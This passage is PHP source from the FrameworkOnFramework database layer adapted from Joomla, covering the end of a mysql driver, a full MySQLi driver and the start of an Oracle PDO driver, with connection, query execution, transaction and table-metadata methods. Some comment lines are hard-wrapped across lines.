$this->callStacks[] = debug_backtrace();
}
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage($query);
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage($query);
// Throw the normal query exception.
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
}
throw new RuntimeException($this->errorMsg, $this->errorNum,
$e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Throw the normal query exception.
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
}
throw new RuntimeException($this->errorMsg, $this->errorNum);
}
}
return $this->cursor;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 12.1
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
if (!$database)
{
return false;
}
if (!mysql_select_db($database, $this->connection))
{
throw new RuntimeException('Could not connect to database');
}
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 12.1
*/
public function setUtf()
{
// If UTF is not supported return false immediately
if (!$this->utf)
{
return false;
}
// Make sure we're connected to the server
$this->connect();
// Which charset should I use, plain utf8 or multibyte utf8mb4?
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$result = @mysql_set_charset($charset, $this->connection);
/**
* If I could not set the utf8mb4 charset then the server doesn't
support utf8mb4 despite claiming otherwise.
* This happens on old MySQL server versions (less than 5.5.3) using the
mysqlnd PHP driver. Since mysqlnd
* masks the server version and reports only its own we can not be sure
if the server actually does support
* UTF-8 Multibyte (i.e. it's MySQL 5.5.3 or later). Since the
utf8mb4 charset is undefined in this case we
* catch the error and determine that utf8mb4 is not supported!
*/
if (!$result && $this->utf8mb4)
{
$this->utf8mb4 = false;
$result = @mysql_set_charset('utf8', $this->connection);
}
return $result;
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchArray($cursor = null)
{
return mysql_fetch_row($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchAssoc($cursor = null)
{
return mysql_fetch_assoc($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
return mysql_fetch_object($cursor ? $cursor : $this->cursor, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 12.1
*/
protected function freeResult($cursor = null)
{
mysql_free_result($cursor ? $cursor : $this->cursor);
}
/**
* Internal function to check if profiling is available
*
* @return boolean
*
* @since 3.1.3
*/
private function hasProfiling()
{
try
{
$res = mysql_query("SHOW VARIABLES LIKE
'have_profiling'", $this->connection);
$row = mysql_fetch_assoc($res);
return isset($row);
}
catch (Exception $e)
{
return false;
}
}
/**
* Does the database server claim to have support for UTF-8 Multibyte
(utf8mb4) collation?
*
* libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL
server). mysqlnd supports utf8mb4 since 5.0.9.
*
* @return boolean
*
* @since CMS 3.5.0
*/
private function serverClaimsUtf8mb4Support()
{
$client_version = mysql_get_client_info();
if (strpos($client_version, 'mysqlnd') !== false)
{
$client_version = preg_replace('/^\D+([\d.]+).*/',
'$1', $client_version);
return version_compare($client_version, '5.0.9',
'>=');
}
else
{
return version_compare($client_version, '5.5.3',
'>=');
}
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
return (int) mysql_errno($this->connection);
}
/**
* Return the actual SQL Error message
*
* @param string $query The SQL Query that fails
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage($query)
{
$errorMessage = (string) mysql_error($this->connection);
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
$query = str_replace($this->tablePrefix, '#__',
$query);
}
return $errorMessage . ' SQL=' . $query;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* MySQLi database driver
*
* @see http://php.net/manual/en/book.mysqli.php
* @since 12.1
*/
class FOFDatabaseDriverMysqli extends FOFDatabaseDriver
{
/**
* The name of the database driver.
*
* @var string
* @since 12.1
*/
public $name = 'mysqli';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'mysql';
/**
* @var mysqli The database connection resource.
* @since 11.1
*/
protected $connection;
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 12.2
*/
protected $nameQuote = '`';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 12.2
*/
protected $nullDate = '0000-00-00 00:00:00';
/**
* @var string The minimum supported database version.
* @since 12.2
*/
protected static $dbMinimum = '5.0.4';
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 12.1
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : 'root';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['select'] = (isset($options['select'])) ?
(bool) $options['select'] : true;
$options['port'] = null;
$options['socket'] = null;
// Finalize initialisation.
parent::__construct($options);
}
/**
* Destructor.
*
* @since 12.1
*/
public function __destruct()
{
$this->disconnect();
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 12.1
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
/*
* Unlike mysql_connect(), mysqli_connect() takes the port and socket as
separate arguments. Therefore, we
* have to extract them from the host string.
*/
$port = isset($this->options['port']) ?
$this->options['port'] : 3306;
$regex =
'/^(?P<host>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))(:(?P<port>.+))?$/';
if (preg_match($regex, $this->options['host'], $matches))
{
// It's an IPv4 address with ot without port
$this->options['host'] = $matches['host'];
if (!empty($matches['port']))
{
$port = $matches['port'];
}
}
elseif
(preg_match('/^(?P<host>\[.*\])(:(?P<port>.+))?$/',
$this->options['host'], $matches))
{
// We assume square-bracketed IPv6 address with or without port, e.g.
[fe80:102::2%eth1]:3306
$this->options['host'] = $matches['host'];
if (!empty($matches['port']))
{
$port = $matches['port'];
}
}
elseif
(preg_match('/^(?P<host>(\w+:\/{2,3})?[a-z0-9\.\-]+)(:(?P<port>[^:]+))?$/i',
$this->options['host'], $matches))
{
// Named host (e.g domain.com or localhost) with ot without port
$this->options['host'] = $matches['host'];
if (!empty($matches['port']))
{
$port = $matches['port'];
}
}
elseif (preg_match('/^:(?P<port>[^:]+)$/',
$this->options['host'], $matches))
{
// Empty host, just port, e.g. ':3306'
$this->options['host'] = 'localhost';
$port = $matches['port'];
}
// ... else we assume normal (naked) IPv6 address, so host and port stay
as they are or default
// Get the port number or socket name
if (is_numeric($port))
{
$this->options['port'] = (int) $port;
}
else
{
$this->options['socket'] = $port;
}
// Make sure the MySQLi extension for PHP is installed and enabled.
if (!function_exists('mysqli_connect'))
{
throw new RuntimeException('The MySQL adapter mysqli is not
available');
}
$this->connection = @mysqli_connect(
$this->options['host'],
$this->options['user'],
$this->options['password'], null,
$this->options['port'], $this->options['socket']
);
// Attempt to connect to the server.
if (!$this->connection)
{
throw new RuntimeException('Could not connect to MySQL.');
}
// Set sql_mode to non_strict mode
mysqli_query($this->connection, "SET @@SESSION.sql_mode =
'';");
// If auto-select is enabled select the given database.
if ($this->options['select'] &&
!empty($this->options['database']))
{
$this->select($this->options['database']);
}
// Pre-populate the UTF-8 Multibyte compatibility flag based on server
version
$this->utf8mb4 = $this->serverClaimsUtf8mb4Support();
// Set the character set (needed for MySQL 4.1.2+).
$this->utf = $this->setUtf();
// Turn MySQL profiling ON in debug mode:
if ($this->debug && $this->hasProfiling())
{
mysqli_query($this->connection, "SET profiling_history_size =
100;");
mysqli_query($this->connection, "SET profiling = 1;");
}
}
/**
* Disconnects the database.
*
* @return void
*
* @since 12.1
*/
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 12.1
*/
public function escape($text, $extra = false)
{
$this->connect();
$result = mysqli_real_escape_string($this->getConnection(), $text);
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Test to see if the MySQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 12.1
*/
public static function isSupported()
{
return (function_exists('mysqli_connect'));
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 12.1
*/
public function connected()
{
if (is_object($this->connection))
{
return mysqli_ping($this->connection);
}
return false;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return FOFDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 12.2
* @throws RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $query->quoteName($tableName));
$this->execute();
return $this;
}
/**
* Get the number of affected rows by the last INSERT, UPDATE, REPLACE or
DELETE for the previous executed SQL statement.
*
* @return integer The number of affected rows.
*
* @since 12.1
*/
public function getAffectedRows()
{
$this->connect();
return mysqli_affected_rows($this->connection);
}
/**
* Method to get the database collation.
*
* @return mixed The collation in use by the database (string) or
boolean false if not supported.
*
* @since 12.2
* @throws RuntimeException
*/
public function getCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_database"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_connection"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* This command is only valid for statements like SELECT or SHOW that
return an actual result set.
* To retrieve the number of rows affected by a INSERT, UPDATE, REPLACE or
DELETE query, use getAffectedRows().
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 12.1
*/
public function getNumRows($cursor = null)
{
return mysqli_num_rows($cursor ? $cursor : $this->cursor);
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
$result = array();
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
foreach ($tables as $table)
{
// Set the query to get the table CREATE statement.
$this->setQuery('SHOW CREATE table ' .
$this->quoteName($this->escape($table)));
$row = $this->loadRow();
// Populate the result array based on the create statements.
$result[$table] = $row[1];
}
return $result;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 12.2
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
// Set the query to get the table fields statement.
$this->setQuery('SHOW FULL COLUMNS FROM ' .
$this->quoteName($this->escape($table)));
$fields = $this->loadObjectList();
// If we only want the type as the value add just that to the list.
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->Field] = preg_replace("/[(0-9)]/",
'', $field->Type);
}
}
// If we want the whole field data object add that to the list.
else
{
foreach ($fields as $field)
{
$result[$field->Field] = $field;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 12.2
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// Get the details columns information.
$this->setQuery('SHOW KEYS FROM ' .
$this->quoteName($table));
$keys = $this->loadObjectList();
return $keys;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 12.2
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
// Set the query to get the tables statement.
$this->setQuery('SHOW TABLES');
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 12.1
*/
public function getVersion()
{
$this->connect();
return mysqli_get_server_info($this->connection);
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return mixed The value of the auto-increment field from the last
inserted row.
* If the value is greater than maximal int value, it will
return a string.
*
* @since 12.1
*/
public function insertid()
{
$this->connect();
return mysqli_insert_id($this->connection);
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return FOFDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 12.2
* @throws RuntimeException
*/
public function lockTable($table)
{
$this->setQuery('LOCK TABLES ' . $this->quoteName($table)
. ' WRITE')->execute();
return $this;
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 12.1
* @throws RuntimeException
*/
public function execute()
{
$this->connect();
if (!is_object($this->connection))
{
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
}
throw new RuntimeException($this->errorMsg, $this->errorNum);
}
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof FOFDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query .= ' LIMIT ' . $this->offset . ', ' .
$this->limit;
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
$memoryBefore = null;
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
if (class_exists('JLog'))
{
JLog::add($query, JLog::DEBUG, 'databasequery');
}
$this->timings[] = microtime(true);
if (is_object($this->cursor))
{
// Avoid warning if result already freed by third-party library
@$this->freeResult();
}
$memoryBefore = memory_get_usage();
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @mysqli_query($this->connection, $query);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
$this->callStacks[count($this->callStacks) -
1][0]['memory'] = array(
$memoryBefore,
memory_get_usage(),
is_object($this->cursor) ? $this->getNumRows() : null
);
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage($query);
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage($query);
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
}
throw new RuntimeException($this->errorMsg, $this->errorNum,
$e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
}
throw new RuntimeException($this->errorMsg, $this->errorNum);
}
}
return $this->cursor;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by MySQL.
* @param string $prefix Not used by MySQL.
*
* @return FOFDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 12.2
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('RENAME TABLE ' . $oldTable . ' TO
' . $newTable)->execute();
return $this;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 12.1
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
if (!$database)
{
return false;
}
if (!mysqli_select_db($this->connection, $database))
{
throw new RuntimeException('Could not connect to database.');
}
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 12.1
*/
public function setUtf()
{
// If UTF is not supported return false immediately
if (!$this->utf)
{
return false;
}
// Make sure we're connected to the server
$this->connect();
// Which charset should I use, plain utf8 or multibyte utf8mb4?
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$result = @$this->connection->set_charset($charset);
/**
* If I could not set the utf8mb4 charset then the server doesn't
support utf8mb4 despite claiming otherwise.
* This happens on old MySQL server versions (less than 5.5.3) using the
mysqlnd PHP driver. Since mysqlnd
* masks the server version and reports only its own we can not be sure
if the server actually does support
* UTF-8 Multibyte (i.e. it's MySQL 5.5.3 or later). Since the
utf8mb4 charset is undefined in this case we
* catch the error and determine that utf8mb4 is not supported!
*/
if (!$result && $this->utf8mb4)
{
$this->utf8mb4 = false;
$result = @$this->connection->set_charset('utf8');
}
return $result;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 12.2
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 12.2
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 12.2
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('START TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchArray($cursor = null)
{
return mysqli_fetch_row($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchAssoc($cursor = null)
{
return mysqli_fetch_assoc($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
return mysqli_fetch_object($cursor ? $cursor : $this->cursor, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 12.1
*/
protected function freeResult($cursor = null)
{
mysqli_free_result($cursor ? $cursor : $this->cursor);
if ((! $cursor) || ($cursor === $this->cursor))
{
$this->cursor = null;
}
}
/**
* Unlocks tables in the database.
*
* @return FOFDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function unlockTables()
{
$this->setQuery('UNLOCK TABLES')->execute();
return $this;
}
/**
* Internal function to check if profiling is available
*
* @return boolean
*
* @since 3.1.3
*/
private function hasProfiling()
{
try
{
$res = mysqli_query($this->connection, "SHOW VARIABLES LIKE
'have_profiling'");
$row = mysqli_fetch_assoc($res);
return isset($row);
}
catch (Exception $e)
{
return false;
}
}
/**
* Does the database server claim to have support for UTF-8 Multibyte
(utf8mb4) collation?
*
* libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL
server). mysqlnd supports utf8mb4 since 5.0.9.
*
* @return boolean
*
* @since CMS 3.5.0
*/
private function serverClaimsUtf8mb4Support()
{
$client_version = mysqli_get_client_info();
if (strpos($client_version, 'mysqlnd') !== false)
{
$client_version = preg_replace('/^\D+([\d.]+).*/',
'$1', $client_version);
return version_compare($client_version, '5.0.9',
'>=');
}
else
{
return version_compare($client_version, '5.5.3',
'>=');
}
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
return (int) mysqli_errno($this->connection);
}
/**
* Return the actual SQL Error message
*
* @param string $query The SQL Query that fails
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage($query)
{
$errorMessage = (string) mysqli_error($this->connection);
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
$query = str_replace($this->tablePrefix, '#__',
$query);
}
return $errorMessage . ' SQL=' . $query;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Oracle database driver
*
* @see http://php.net/pdo
* @since 12.1
*/
class FOFDatabaseDriverOracle extends FOFDatabaseDriverPdo
{
/**
* The name of the database driver.
*
* @var string
* @since 12.1
*/
public $name = 'oracle';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'oracle';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 12.1
*/
protected $nameQuote = '"';
/**
* Returns the current dateformat
*
* @var string
* @since 12.1
*/
protected $dateformat;
/**
* Returns the current character set
*
* @var string
* @since 12.1
*/
protected $charset;
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 12.1
*/
public function __construct($options)
{
$options['driver'] = 'oci';
$options['charset'] = (isset($options['charset']))
? $options['charset'] : 'AL32UTF8';
$options['dateformat'] =
(isset($options['dateformat'])) ?
$options['dateformat'] : 'RRRR-MM-DD HH24:MI:SS';
$this->charset = $options['charset'];
$this->dateformat = $options['dateformat'];
// Finalize initialisation
parent::__construct($options);
}
/**
* Destructor.
*
* @since 12.1
*/
public function __destruct()
{
$this->freeResult();
unset($this->connection);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 12.1
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
parent::connect();
if (isset($this->options['schema']))
{
$this->setQuery('ALTER SESSION SET CURRENT_SCHEMA = ' .
$this->quoteName($this->options['schema']))->execute();
}
$this->setDateFormat($this->dateformat);
}
/**
* Disconnects the database.
*
* @return void
*
* @since 12.1
*/
public function disconnect()
{
// Close the connection.
$this->freeResult();
unset($this->connection);
}
/**
* Drops a table from the database.
*
* Note: The IF EXISTS flag is unused in the Oracle driver.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return FOFDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 12.1
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true)
->setQuery('DROP TABLE :tableName');
$query->bind(':tableName', $tableName);
$this->setQuery($query);
$this->execute();
return $this;
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 12.1
*/
public function getCollation()
{
return $this->charset;
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return $this->charset;
}
/**
* Get a query to run and verify the database is operational.
*
* @return string The query to check the health of the DB.
*
* @since 12.2
*/
public function getConnectedQuery()
{
return 'SELECT 1 FROM dual';
}
/**
* Returns the current date format
* This method should be useful in the case that
* somebody actually wants to use a different
* date format and needs to check what the current
* one is to see if it needs to be changed.
*
* @return string The current date format
*
* @since 12.1
*/
public function getDateFormat()
{
return $this->dateformat;
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* Note: You must have the correct privileges before this method
* will return usable results!
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
$result = array();
$query = $this->getQuery(true)
->select('dbms_metadata.get_ddl(:type, :tableName)')
->from('dual')
->bind(':type', 'TABLE');
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
foreach ($tables as $table)
{
$query->bind(':tableName', $table);
$this->setQuery($query);
$statement = (string) $this->loadResult();
$result[$table] = $statement;
}
return $result;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$columns = array();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->select('*');
$query->from('ALL_TAB_COLUMNS');
$query->where('table_name = :tableName');
$prefixedTable = str_replace('#__',
strtoupper($this->tablePrefix), $table);
$query->bind(':tableName', $prefixedTable);
$this->setQuery($query);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$columns[$field->COLUMN_NAME] = $field->DATA_TYPE;
}
}
else
{
foreach ($fields as $field)
{
$columns[$field->COLUMN_NAME] = $field;
$columns[$field->COLUMN_NAME]->Default = null;
}
}
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $columns;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->select('*')
->from('ALL_CONSTRAINTS')
->where('table_name = :tableName')
->bind(':tableName', $table);
$this->setQuery($query);
$keys = $this->loadObjectList();
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $keys;
}
/**
* Method to get an array of all tables in the database (schema).
*
* @param string $databaseName The database (schema) name
* @param boolean $includeDatabaseName Whether to include the schema
name in the results
*
* @return array An array of all the tables in the database.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableList($databaseName = null, $includeDatabaseName =
false)
{
$this->connect();
